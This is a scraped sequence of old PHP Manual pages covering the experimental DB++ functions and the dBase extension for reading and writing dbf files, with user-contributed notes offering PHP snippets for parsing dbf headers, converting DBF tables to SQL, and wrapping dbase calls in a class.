DB++ Functions
PHP Manual

dbplus_tcl

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_tcl — Execute TCL code on server side

Description

string dbplus_tcl ( int $sid , string $script )

A db++ server will prepare a TCL interpreter for each client connection. This interpreter will enable the server to execute TCL code provided by the client as a sort of stored procedures to improve the performance of database operations by avoiding client/server data transfers and context switches.

dbplus_tcl() needs to pass the client connection id the TCL script code should be executed by. dbplus_resolve() will provide this connection id. The function will return whatever the TCL code returns or a TCL error message if the TCL code fails.

Parameters

sid

script

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_resolve() - Resolve host information for relation

User Contributed Notes

There are no user contributed notes for this page.
dbplus_sql
dbplus_tremove
DB++ Functions


Remove tuple and return new current tuple

dbplus_tcl
dbplus_undo
DB++ Functions
PHP Manual

dbplus_tremove

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_tremove — Remove tuple and return new current tuple

Description

int dbplus_tremove ( resource $relation , array $tuple [, array &$current ] )

dbplus_tremove() removes tuple from relation if it perfectly matches a tuple within the relation. current, if given, will contain the data of the new current tuple after calling dbplus_tremove().

Parameters

relation

A relation opened by dbplus_open().

tuple

current

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_tcl
dbplus_undo
DB++ Functions


Undo

dbplus_tremove
dbplus_undoprepare
DB++ Functions
PHP Manual

dbplus_undo

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_undo — Undo

Description

int dbplus_undo ( resource $relation )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_tremove
dbplus_undoprepare
DB++ Functions


Prepare undo

dbplus_undo
dbplus_unlockrel
DB++ Functions
PHP Manual

dbplus_undoprepare

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_undoprepare — Prepare undo

Description

int dbplus_undoprepare ( resource $relation )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_undo
dbplus_unlockrel
DB++ Functions


Give up write lock on relation

dbplus_undoprepare
dbplus_unselect
DB++ Functions
PHP Manual

dbplus_unlockrel

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_unlockrel — Give up write lock on relation

Description

int dbplus_unlockrel ( resource $relation )

Release a write lock previously obtained by dbplus_lockrel().

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_undoprepare
dbplus_unselect
DB++ Functions


Remove a constraint from relation

dbplus_unlockrel
dbplus_update
DB++ Functions
PHP Manual

dbplus_unselect

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_unselect — Remove a constraint from relation

Description

int dbplus_unselect ( resource $relation )

Calling dbplus_unselect() will remove a constraint previously set by dbplus_find() on relation.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_unlockrel
dbplus_update
DB++ Functions


Update specified tuple in relation

dbplus_unselect
dbplus_xlockrel
DB++ Functions
PHP Manual

dbplus_update

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_update — Update specified tuple in relation

Description

int dbplus_update ( resource $relation , array $old , array $new )

dbplus_update() replaces the old tuple with the data from the new one, only if the old completely matches a tuple within relation.

Parameters

relation

A relation opened by dbplus_open().

old

The old tuple.

new

The new tuple.

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_unselect
dbplus_xlockrel
DB++ Functions


Request exclusive lock on relation

dbplus_update
dbplus_xunlockrel
DB++ Functions
PHP Manual

dbplus_xlockrel

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_xlockrel — Request exclusive lock on relation

Description

int dbplus_xlockrel ( resource $relation )

Request an exclusive lock on relation preventing even read access from other clients.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_xunlockrel() - Free exclusive lock on relation

User Contributed Notes

There are no user contributed notes for this page.
dbplus_update
dbplus_xunlockrel
DB++ Functions


Free exclusive lock on relation

dbplus_xlockrel
dBase
DB++ Functions
PHP Manual

dbplus_xunlockrel

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_xunlockrel — Free exclusive lock on relation

Description

int dbplus_xunlockrel ( resource $relation )

Releases an exclusive lock previously obtained by dbplus_xlockrel().

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_xlockrel
dBase
DB++ Functions


dBase

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • dBase Functions
    • dbase_add_record — Adds a record to a database
    • dbase_close — Closes a database
    • dbase_create — Creates a database
    • dbase_delete_record — Deletes a record from a database
    • dbase_get_header_info — Gets the header info of a database
    • dbase_get_record_with_names — Gets a record from a database as an associative array
    • dbase_get_record — Gets a record from a database as an indexed array
    • dbase_numfields — Gets the number of fields of a database
    • dbase_numrecords — Gets the number of records in a database
    • dbase_open — Opens a database
    • dbase_pack — Packs a database
    • dbase_replace_record — Replaces a record in a database

User Contributed Notes

Anonymous 31-Jul-2009 09:51
Unfortunately the dbase functions are not compiled into my commercial server's php and I needed to read some geo data in shape files, which include data in dbfs.

So maybe this will help some others:

<?php
function echo_dbf($dbfname) {
    $fdbf = fopen($dbfname,'r');
    $fields = array();
    $buf = fread($fdbf,32);
    $header=unpack( "VRecordCount/vFirstRecord/vRecordLength", substr($buf,4,8));
    echo 'Header: '.json_encode($header).'<br/>';
    $goon = true;
    $unpackString='';
    while ($goon && !feof($fdbf)) { // read fields:
        $buf = fread($fdbf,32);
        if (substr($buf,0,1)==chr(13)) {$goon=false;} // end of field list
        else {
            $field=unpack( "a11fieldname/A1fieldtype/Voffset/Cfieldlen/Cfielddec", substr($buf,0,18));
            echo 'Field: '.json_encode($field).'<br/>';
            $unpackString.="A$field[fieldlen]$field[fieldname]/";
            array_push($fields, $field);}}
    fseek($fdbf, $header['FirstRecord']+1); // move back to the start of the first record (after the field definitions)
    for ($i=1; $i<=$header['RecordCount']; $i++) {
        $buf = fread($fdbf,$header['RecordLength']);
        $record=unpack($unpackString,$buf);
        echo 'record: '.json_encode($record).'<br/>';
        echo $i.$buf.'<br/>';} //raw record
    fclose($fdbf); }
?>

This function simply dumps an entire file using echo and json_encode, so you can tweak it to your own needs... (eg random access would just be a matter of changing the seek to : fseek($fdbf, $header['FirstRecord']+1 +($header['RecordLength']* $desiredrecord0based); removing the for loop and returning $record

This function doesn't do any type conversion, but it does extract the type if you need to play with dates, or tidy up the numbers etc.

So quick and dirty but maybe of use to somebody and illustrates the power of unpack.

Erich
dbplus_xunlockrel
Introduction
Vendor Specific Database Extensions


Introduction

These functions allow you to access records stored in dBase-format (dbf) databases.

dBase files are simple sequential files of fixed length records. Records are appended to the end of the file and delete records are kept until you call dbase_pack().

The types of dBase fields available are:

Available types of fields
Field | dBase Type | Format | Additional information
M | Memo | n/a | This type is not supported by PHP, such field will be ignored
D | Date | YYYYMMDD | The field length is limited to 8
N | Number | A number | You must declare a length and a precision (the number of digits after the decimal point)
C | String | A string | You must declare a length. When retrieving data, the string will be right-padded with spaces to fit the declared length.
L | Boolean | T or Y for TRUE, F or N for FALSE | Stored and returned as an integer (1 or 0)
F | Float | A float number | Support for this type of field was added in PHP 5.2.0

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.3.0.

Warning

There is no support for indexes or memo fields. There is no support for locking, too. Two concurrent web server processes modifying the same dBase file will very likely ruin your database.

We recommend that you do not use dBase files as your production database. Choose any real SQL server instead; » MySQL or » Postgres are common choices with PHP. dBase support is here to allow you to import and export data to and from your web database, because the file format is commonly understood by Windows spreadsheets and organizers.

User Contributed Notes

andreas dot maul at bgr dot de 09-Sep-2010 07:49
dbase functions can be used to create/manipulate the attribute list in shape files (which consist actually of at least three different files: *.shp for geometries, *.shx for the shape index and *.dbf containing the attribute table for the geometries). This industrial standard is still very popular and frequently used due to short access times not only by commercial products but also by open source products like UMN mapserver.
oto dot brglez at agenda dot si 23-Feb-2009 06:25
If you have xls or ods file with data. You can open file in OpenOffice Calc and save the table as dbf (dBase file) and the use this extension to manipulate data.

Usualy this gives better results than just saving as XML. or CSV.
dBase
Installing/Configuring
dBase


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
dBase


Installation

In order to enable the bundled dbase library and to use these functions, you must compile PHP with the --enable-dbase option.

User Contributed Notes

moodsey211 at gmail dot com 18-Feb-2011 12:18
if you want to compile dbase as an extension, the latest php source does not include the dbase folder in the ext folder. Instead you would need to download it from here: http://pecl.php.net/package/dbase
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
dBase Functions
dBase


dBase Functions

Examples

Many examples in this reference require a dBase database. We will use /tmp/test.dbf that will be created in the example of dbase_create().

Table of Contents

  • dbase_add_record — Adds a record to a database
  • dbase_close — Closes a database
  • dbase_create — Creates a database
  • dbase_delete_record — Deletes a record from a database
  • dbase_get_header_info — Gets the header info of a database
  • dbase_get_record_with_names — Gets a record from a database as an associative array
  • dbase_get_record — Gets a record from a database as an indexed array
  • dbase_numfields — Gets the number of fields of a database
  • dbase_numrecords — Gets the number of records in a database
  • dbase_open — Opens a database
  • dbase_pack — Packs a database
  • dbase_replace_record — Replaces a record in a database

User Contributed Notes

bi.idan [at] gmail.com 12-Feb-2009 07:16
some of you contacted me about memo fields and my script, so i'll just post my answers on the common question here.

(note: this is not an adv for any program, only what i used for myself, and it's free)

so, there are 2 options if you want to create/read memo fields:

1. use a library for java/c++/c# to build a bridge between php and dbf file. i've used dbf2java. althougth it's not near complete as my other option, it's a good start. (http://code.google.com/p/dbf2java-library/)

2. use an external program with pipes to grab the output. i used cdbflite, (http://www.whitetown.com/cdbflite/). it's free, and pretty much gives you everything you need to handle those dbf files. i'm not sure about big databases and it seems you need to register/buy it, but it's again, a start.

hope it helps some of you who needs to handle those database files,

Good luck,
idan
kuthullu at webmails dot com 09-Apr-2008 07:40
For all those of you who wants to DBF->SQL, here's half of a hour worth of work.
It's pretty simple, outputs a CREATE TABLE and lots of INSERTs.
The output is HTML, as I use w$ndows here at work and prefer to just see results in opera.
You SHOULD verify the created data, add some CREATE KEYs, NOT NULLs or whatever you like.

<?php
$file_name = "mfiscal/dados22/APISS110.D00";
$table = "dbf_apiss";

$dbf = @dbase_open($file_name, 0) or die("Error opening $file_name");
$fields = dbase_get_header_info($dbf);

/* Just show a table with header information */
echo "<table cellspacing=0><tr><th>Name</th><th>Type</th>
<th>Length</th><th>Precision</th><th>Format</th><th>Offset</th></tr>";
foreach($fields as $field)
{
    echo "<tr>
        <td>{$field['name']}</td>
        <td>{$field['type']}</td>
        <td>{$field['length']}</td>
        <td>{$field['precision']}</td>
        <td>{$field['format']}</td>
        <td>{$field['offset']}</td>
        </tr>";
}
echo "</table><br><br>";

/* Here begins the SQL code part */
echo "CREATE TABLE $table (<BR>";
$x = 0;
$fields_num = 0;
foreach($fields as $field)
{
    if($x++ != 0)
        echo ",<BR>";
    switch($field['type'])
    {
        case 'character' : $type = 'CHAR'; $length = $field['length'] > 1 ? "({$field['length']})" : ""; break;
        case 'number' : $type = 'NUMERIC'; $length = "({$field['length']}" . ($field['precision'] > 0 ? ", {$field['precision']})": ")");
        break;
//        case '' : $type = ''; break;
    }
    $fields_num++;
    echo "&nbsp;&nbsp;&nbsp;{$field['name']} $type$length";
}
echo ");<BR><BR>BEGIN;<BR>";
$records = @dbase_numrecords($dbf) or die("Error reading DBF's number of fields");
for($x = 1; $x <= $records; $x++)
{
    $record = dbase_get_record($dbf, $x);
    echo "INSERT INTO $table VALUES (";
    $f = 0;
    foreach($record as $field)
    {
        if($f != 0) echo ", ";
        if(strcmp(str_repeat(' ', $fields[$f]['length']), $field) != 0)
        {
            if($fields[$f]['type'] == 'character') echo "'";
            echo $field;
            if($fields[$f]['type'] == 'character') echo "'";
        }
        else
            echo "NULL";
        if(++$f >= $fields_num) break;
    }
    echo ");<BR>";
}
echo "COMMIT;";
?>
bi.idan AT gmail.com 16-Apr-2007 04:40
I know lots of you dosent really use dbase, but i've builded a class to help the one how dose.
(sorry for bad english)

- dbase.php

<?php

set_time_limit (0);
// site_path defined by parent
require_once (SITE_PATH. '/server/php/libs/dbase/handler.php');

/* DBase (dbf)
 *    manage dbf files, exports and search functionality
 *    with buildin optimizers for fast performance
 */

class DBase
{
    private $handler = false;
    private $searchopt = array (); // Search optimizer

    private function unload ()
    {
        if ($this-> handler !== false)
            unset ($this-> handler);
    }

    public function __construct ($file = false)
    {
        if ($file !== false)
            $this-> load ($file);
    }

    public function __destruct ()
    {
        $this-> unload ();
    }

    public function load ($file)
    {
        $resource = dbase_open ($file, 0);
        $this-> handler = new DBase_Handler ($resource);

        return $this-> handler;
    }

    /* Search
     *    search for string inside header
     *    returns record number
     *        false returned if not found or error occurred
     *    limit_results gets int or false, limit_results equels one will limit the
     *        search results for one result only, false for no limit
     */
    public function search ($headerText, $string, $limit_results = false, $handler = false)
    {
        if ($handler === false)
            $handler = $this-> handler;

        if ($this-> searchopt [$headerText][$string])
            return $this-> searchopt [$headerText][$string];
        else
        {
            $size = $handler-> getSize ();
            if ( ( $headerNumber = $handler-> getHeaderNumber ($headerText) ) !== false)
            {
                $results = array ();
                for ($i = 1; $i < $size; $i++)
                {
                    $record = $handler-> getRecord ($i, false); // Disabled optimizer to prevent memory overflow
                    if (trim ($record [$headerNumber]) == $string)
                    {
                        $results[] = $i;

                        if ( ($limit_results !== false) && (sizeof ($results) == $limit_results) )
                            break;
                    }
                }

                if (sizeof ($results) > 0)
                {
                    $this-> searchopt [$headerText][$string] = $results;
                    return $this-> search ($headerText, $string, $handler);
                }

                return false;
            } else
                return false;
        }
    }
}

?>

- dbase_handler.php

<?php

/* DBase Handler (dbf)
 *    handles dbase resource
 */

class DBase_Handler
{
    private $resource;
    private $size; // Records Count
    private $header = array ();
    private $dataopt = array (); // Data optimizer

    private function setHeader ()
    {
        $this-> header = dbase_get_header_info ($this-> resource);
    }

    public function __construct ($resource)
    {
        $this-> resource = $resource;
        $this-> setHeader ();
        $this-> size = dbase_numrecords ($this-> resource);
    }

    public function __destruct ()
    {
        dbase_close ($this-> resource);
    }

    public function getRecord ($record_number, $dataopt = true)
    {
        if ($record_number > $this-> size)
            return false;
        else
        {
            if ($this-> dataopt [$record_number])
                return $this-> dataopt [$record_number];
            else
            {
                $record = dbase_get_record ($this-> resource, $record_number);
                if ($dataopt === true) // Data saving optimizer
                {
                    $this-> dataopt [$record_number] = $record;
                    return $this-> getRecord ($record_number);
                } else
                    return $record;
            }
        }
    }

    public function getHeaderNumber ($headerText)
    {
        foreach ($this-> header as $index => $header)
        {
            if ($header ['name'] == $headerText)
            {
                return $index;
                break;
            }
        }

        return false;
    }

    public function getHeader ($headerNumber)
    {
        if ($headerNumber <= sizeof ($this-> header))
            return $this-> header [$headerNumber];
        else
            return false;
    }

    public function getSize ()
    {
        return $this-> size;
    }
}

?>
Hadi Rusiah / deegos at yahoo dot com 08-May-2004 10:33
If you are using PHP < 5, you can use this function to retrieve dbf header

<?
function get_dbf_header($dbfname) {
   $fdbf = fopen($dbfname,'r');

   $dbfhdrarr = array();
   $buff32 = array();
   $i = 1;
   $goon = true;

   while ($goon) {
      if (!feof($fdbf)) {
         $buff32 = fread($fdbf,32);
         if ($i > 1) {
            if (substr($buff32,0,1) == chr(13)) {
               $goon = false;
            } else {
               $pos = strpos(substr($buff32,0,10),chr(0));
               $pos = ($pos == 0?10:$pos);

               $fieldname = substr($buff32,0,$pos);
               $fieldtype = substr($buff32,11,1);
               $fieldlen = ord(substr($buff32,16,1));
               $fielddec = ord(substr($buff32,17,1));

array_push($dbfhdrarr, array($fieldname,$fieldtype,$fieldlen,$fielddec));

            }
         }
         $i++;
      } else {
         $goon = false;
      }
   }

   fclose($fdbf);
   return($dbfhdrarr);
}

$arr = get_dbf_header('/data/file.dbf');
print_r($arr);
?>
Predefined Constants
dbase_add_record
dBase


Adds a record to a database

dBase Functions
dbase_close
dBase Functions
PHP Manual

dbase_add_record

(PHP 4, PHP 5)

dbase_add_record — Adds a record to a database

Description

bool dbase_add_record ( int $dbase_identifier , array $record )

Adds the given data to the database.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record

An indexed array of data. The number of items must be equal to the number of fields in the database, otherwise dbase_add_record() will fail.

Note:

If you're using dbase_get_record() return value for this parameter, remember to reset the key named deleted.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Inserting a record in a dBase database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
  dbase_add_record($db, array(
      date('Ymd'),
      'Maxim Topolov',
      '23',
      'max@example.com',
      'T'));
  dbase_close($db);
}

?>

See Also

  • dbase_delete_record() - Deletes a record from a database
  • dbase_replace_record() - Replaces a record in a database

User Contributed Notes

michele dot manzato at NOSPAM dot verona dot miz dot it 27-Jan-2006 05:49
Apparently, one cannot use associative arrays in order to compose the record to be written to the dbf file. The following code will not work and will raise an unexpected error:

<?php
$record = array("ID" => 10, "VALUE" => 'Hello');
dbase_add_record($dbid, $record);
?>

Instead:

<?php
$record = array(0 => 10, 1 => 'Hello');
dbase_add_record($dbid, $record);
?>
Dahlmann at Dahlmann dot biz 07-Jul-2005 04:57
I had some problems with old dbase3 database. Odd behaviour of the php-progs and incomplete file copies.

I assume that the header was partly corrupt, but clipper-progs worked fine. I copied structure to file (copy to test structure extended), then rebuilt the  database from the structure file again and made an append from the original file.
That fixed the error.
heinrich at c-tera dot de 11-Dec-2002 12:59
Field type incompatible inputs can cause PHP to crash or strange errors to occur. After finding that out it was easy to fill also "big" dbase-files with size bigger than 15 MB. Don't let your enthusiasm be broken by inexact error messages! :-)
dBase Functions
dbase_close
dBase Functions


Closes a database

dbase_add_record
dbase_create
dBase Functions
PHP Manual

dbase_close

(PHP 4, PHP 5)

dbase_close — Closes a database

Description

bool dbase_close ( int $dbase_identifier )

Closes the given database link identifier.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Closing a dBase database file

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  // read some data ..

  dbase_close($db);
}

?>

See Also

  • dbase_open() - Opens a database
  • dbase_create() - Creates a database

User Contributed Notes

There are no user contributed notes for this page.
dbase_add_record
dbase_create
dBase Functions


Creates a database

dbase_close
dbase_delete_record
dBase Functions
PHP Manual

dbase_create

(PHP 4, PHP 5)

dbase_create — Creates a database

Description

int dbase_create ( string $filename , array $fields )

dbase_create() creates a dBase database with the given definition.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Note:

This function is affected by open_basedir.

Parameters

filename

The name of the database. It can be a relative or absolute path to the file where dBase will store your data.

fields

An array of arrays, each array describing the format of one field of the database. Each field consists of a name, a character indicating the field type, and optionally, a length, and a precision.

Note:

The fieldnames are limited in length and must not exceed 10 chars.

Return Values

Returns a database link identifier if the database is successfully created, or FALSE if an error occurred.

Examples

Example #1 Creating a dBase database file

<?php

// database "definition"
$def = array(
  array("date",     "D"),
  array("name",     "C",  50),
  array("age",      "N",   3, 0),
  array("email",    "C", 128),
  array("ismember", "L")
);

// creation
if (!dbase_create('/tmp/test.dbf', $def)) {
  echo "Error, can't create the database\n";
}

?>

See Also

  • dbase_open() - Opens a database
  • dbase_close() - Closes a database

User Contributed Notes

karl at kingkarl dot com 05-May-2009 10:18
Format Description:

Date "D" - no field length or precision
NOTE: format "Ymd"

Logic "L" - no field length or precision
NOTE: must be entered as either "T" or "F"

Character "C" - field length no precision
NOTE: string will be truncated at given length

Numeric "N" - field length with precision
NOTE: Numeric includes precision

eg "45" = Length: 2, Precision: 0
eg "45.1" = Length:4, Precision:1
dbase_close
dbase_delete_record
dBase Functions


Deletes a record from a database

dbase_create
dbase_get_header_info
dBase Functions
PHP Manual

dbase_delete_record

(PHP 4, PHP 5)

dbase_delete_record — Deletes a record from a database

Description

bool dbase_delete_record ( int $dbase_identifier , int $record_number )

Marks the given record to be deleted from the database.

Note:

To actually remove the record from the database, you must also call dbase_pack().

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record_number

An integer which spans from 1 to the number of records in the database (as returned by dbase_numrecords()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • dbase_add_record() - Adds a record to a database
  • dbase_replace_record() - Replaces a record in a database

User Contributed Notes

There are no user contributed notes for this page.
dbase_create
dbase_get_header_info
dBase Functions


Gets the header info of a database

dbase_delete_record
dbase_get_record_with_names
dBase Functions
PHP Manual

dbase_get_header_info

(PHP 5)

dbase_get_header_info — Gets the header info of a database

Description

array dbase_get_header_info ( int $dbase_identifier )

Returns information on the column structure of the given database link identifier.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

Return Values

An indexed array with an entry for each column in the database. The array index starts at 0.

Each array element contains an associative array of column information, as described here:

name
The name of the column
type
The human-readable name for the dbase type of the column (i.e. date, boolean, etc.)
length
The number of bytes this column can hold
precision
The number of digits of decimal precision for the column
format
A suggested printf() format specifier for the column
offset
The byte offset of the column from the start of the row

If the database header information cannot be read, FALSE is returned.

Examples

Example #1 Showing header information for a dBase database file

<?php
// Path to dbase file
$db_path = "/tmp/test.dbf";

// Open dbase file
$dbh = dbase_open($db_path, 0)
  or die("Error! Could not open dbase database file '$db_path'.");

// Get column information
$column_info = dbase_get_header_info($dbh);

// Display information
print_r($column_info);
?>

User Contributed Notes

Marcos Peli 16-Apr-2009 06:13
Um dos principais problemas era a flata desta função nas versões PHP<5.0

O Script abaixo "contorna" o problema , e gera uma "pseudo-cabeçario" baseado no próprio conteúdo do arquivo DBF

Óbvio informar que se o arquivo DBF a ser submetido ao script estiver vazio , ou com poucos elementos ou linhas , ou ainda , se estes não representarem o conteudo com fidegnidade , ou seja , com muitos campos NULLs , o script podera não funcionar a contento com relação ao resultado desejado.

Utilizei por muito tempo o script abaixo como alternativa para a ausência da função dbase-get-header-info em versões PHP < 5.0 na confecção de cabeçarios e posterior transformação de arquivo DBF p/ MYSQL

<?php
// parametros iniciais

// Path - caminho para arquivo dbf a ser aberto
$diretorio_open = 'dbf/';
// Arquivo a ser aberto e explorado
$file = 'arquivo.dbf';

$con = dbase_open($diretorio_open.$file,0) or die('Erro na Conexão com o arquivo DBF');

// PHP>5.0 - usa função dbase_get_header_info para ler cabeçario
// PHP<5.0 - Simula a leitura através do conteudo do próprio arquivo
if(function_exists(dbase_get_header_info))
{$estrutura_arquivo = dbase_get_header_info($con);}
else
{$estrutura_arquivo = alternative_dbase_get_header_info($con);}

// imprime o header do arquivo
print_r($estrutura_arquivo);

// ---------------------------------------------

// função alternativa
function alternative_dbase_get_header_info($con)
{

    //Pega o num. de linhas
    $rows = dbase_numrecords($con);

    //faz o loop percorrendo todas as linhas e carrega a variável $registro com os dados
    for($i=1;$i<=$rows;$i++)
    {
        //Pega a linha do arquivo DBF e coloca como array
        $registro = dbase_get_record_with_names($con,$i);

        $y=0;

        // Mostra as Chaves e os valores do array
        foreach ($registro as $chave => $valor)
        {
            // pega as chaves (field - Coluna) só se for a primeira vez
            if($i==1)
            {$estrutura_arquivo[$y]['name'] = $chave;}

            // finalmente pega o tipo , o comprimento e a precisão no mesmo padrão que dbase_get_header_info
            if( ( ( ( @checkdate(substr($valor,4,2),substr($valor,-2),substr($valor,0,4)) ) && (strlen(trim($valor))==8) ) || (strlen(trim($valor))==0) ) && $chave != 'deleted') // testa se é data checkdate(MM,DD,AA)
            {
                if(!isset($estrutura_arquivo[$y]['type']))
                {
                    $estrutura_arquivo[$y]['type'] = 'date';
                    $estrutura_arquivo[$y]['length'] = 8;
                    $estrutura_arquivo[$y]['precision'] = '0';
                }
                $e_data = TRUE;
            }
            if(is_numeric(trim($valor)) && strstr($valor, '.'))
            {
                $estrutura_arquivo[$y]['type'] = 'number';
                if($estrutura_arquivo[$y]['length'] < strlen(trim($valor)))
                {$estrutura_arquivo[$y]['length'] = strlen(trim($valor));}
                if($estrutura_arquivo[$y]['precision'] < strlen(strstr(trim($valor),'.'))-1)
                {$estrutura_arquivo [$y]['precision'] = strlen(strstr(trim($valor),'.'))-1;}
            }
            if(is_numeric(trim($valor)) && !strstr($valor, '.') && !$e_data && $estrutura_arquivo[$y]['precision'] < 1 && $estrutura_arquivo[$y]['type'] != 'character')
            {
                $estrutura_arquivo[$y]['type'] = 'number';
                if($estrutura_arquivo[$y]['length'] < strlen(trim($valor)))
                {$estrutura_arquivo[$y]['length'] = strlen(trim($valor));}
                $estrutura_arquivo [$y]['precision'] = '0';
            }
            if( strlen($valor)>10 || (!is_numeric(trim($valor)) && strlen(trim($valor))!=0) )
            {
                $estrutura_arquivo[$y]['type'] = 'character';
                if($estrutura_arquivo[$y]['length'] < strlen($valor))
                {$estrutura_arquivo[$y]['length'] = strlen($valor);}
                $estrutura_arquivo [$y]['precision'] = '0';
            }

            $e_data = FALSE;
            $y+=1;
        }

    }

    return(estrutura_arquivo);
}
?>
Eliovir 24-Jul-2008 05:04
As of PHP 5.2.6, it seems that the type F (Float) is supported ( ext/dbase/dbase.c +713 ), with a length of 20 characters.

http://www.dbase.com/KnowledgeBase/int/db7_file_fmt.htm precises : Number stored as a string, right justified, and padded with blanks to the width of the field
christoph dot eck at bluewin dot ch 12-Sep-2006 03:58
Field Types
*********
Not all field types of DBase are supported. Look below for the internal field type definitions of PHP 5.1.x.

The storage symbols of DBase are C (stands for character), D (date) , I (integer), N (number), L (boolean), M (memo). All other symbols like B, @, l, +, F, O and G are defined as unknown.

Sources
*********
http://www.dbase.com/KnowledgeBase/int/db7_file_fmt.htm
PHP-Source-5.1.6 ext/dbase/dbase.c (line 786)
dbase_delete_record
dbase_get_record_with_names
dBase Functions


Gets a record from a database as an associative array

dbase_get_header_info
dbase_get_record
dBase Functions
PHP Manual

dbase_get_record_with_names

(PHP 4, PHP 5)

dbase_get_record_with_names — Gets a record from a database as an associative array

Description

array dbase_get_record_with_names ( int $dbase_identifier , int $record_number )

Gets a record from a dBase database as an associative array.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record_number

The index of the record.

Return Values

An associative array with the record. This will also include a key named deleted which is set to 1 if the record has been marked for deletion (see dbase_delete_record()).

Each field is converted to the appropriate PHP type, except:

  • Dates are left as strings.
  • Integers that would have caused an overflow (> 32 bits) are returned as strings.

On error, dbase_get_record_with_names() will return FALSE.

Examples

Example #1 Listing all the registered members in the database

<?php
// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      $row = dbase_get_record_with_names($db, $i);
      if ($row['ismember'] == 1) {
          echo "Member #$i: " . trim($row['name']) . "\n";
      }
  }
}
?>

See Also

  • dbase_get_record() - Gets a record from a database as an indexed array

User Contributed Notes

15-Sep-2005 04:32
$foo_db = dbase_open ( 'foo.dbf', 0);

if ($foo_db) {
  $rn = dbase_numrecords($foo_db);

  echo "Record 0: ";
  $test = dbase_get_record_with_names($foo_db, 0);
  echo $test['deleted'] . " FOO BAR: '" . $test['BAR'] . "'\n";

  echo "Record n+1: ";
  $test = dbase_get_record_with_names($foo_db, $rn+1);
  echo $test['deleted'] . " FOO BAR: '" . $test['BAR'] . "'\n";

}

Gives:

Record 0: 0 FOO BAR: ' '

Record n+1:
Warning: Tried to read bad record 30 in ./DisplayAccounts.php on line 21
FOO BAR: ''

0 is not an error record, it's just empty - and actually, not quite empty, as you see BAR got a single space.
bishop 02-Jul-2005 05:52
I would like to emphasize that record numbers begin with 1, not 0. So, this is wrong:
<?php
$recCnt = dbase_numrecords($fh);
for ($recNum = 0; $recNum < $recCnt; $recNum++) {
    // wrong! first record will fail
    $record = dbase_get_record_with_names($fh, $recNum);
}
?>

This is right:

<?php
$recCnt = dbase_numrecords($fh);
for ($recNum = 1; $recNum <= $recCnt; $recNum++) {
    // right! record #s begin with 1, don't forget <=
    $record = dbase_get_record_with_names($fh, $recNum);
}
?>
dbase_get_header_info
dbase_get_record
dBase Functions


Gets a record from a database as an indexed array

